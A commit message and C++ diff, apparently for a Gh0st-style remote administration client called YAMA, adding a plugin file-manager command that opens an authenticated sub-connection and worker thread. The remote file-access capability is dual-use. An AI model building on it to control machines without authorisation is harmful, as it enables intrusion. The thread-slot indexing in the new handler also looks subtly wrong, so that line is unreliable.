Feature: Migrate SimplePlugins file management (文件管理迁移)

Migrate the SimplePlugins file-management feature into the YAMA client as an
experimental feature. The migrated CFileManager, MasterEncoder and Info-Zip
sources live under client/file/ and are isolated in the SimplePluginsFile
namespace to avoid clashing with the native FileManager class.

Add COMMAND_FILE_MANAGER_PLUGIN (163) and LoopFileManagerPlugin, spawned as
a sub-connection from KernelManager. Add an "实验功能" submenu with a
"文件管理" entry above "客户管理" in the online-hosts right-click menu,
routed via OnExperimentFileManager to the existing TOKEN_DRIVE_LIST_PLUGIN
dialog path.

Co-Authored-By: deepseek-v4-pro

client/KernelManager.cpp

@@ -1177,6 +1177,16 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
         break;
     }
 
+    case COMMAND_FILE_MANAGER_PLUGIN: {   // 插件文件管理（SimplePlugins 迁移）
+        {
+            auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+            sub->EnableSubConnAuth();   // 子连接：每次连上后自动发 TOKEN_CONN_AUTH 校验
+            m_hThread[m_ulThreadCount].p = sub;
+        }
+        m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManagerPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
+        break;
+    }
+
     case COMMAND_SHELL: {
         if (!ENABLE_SHELL) {
             return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1);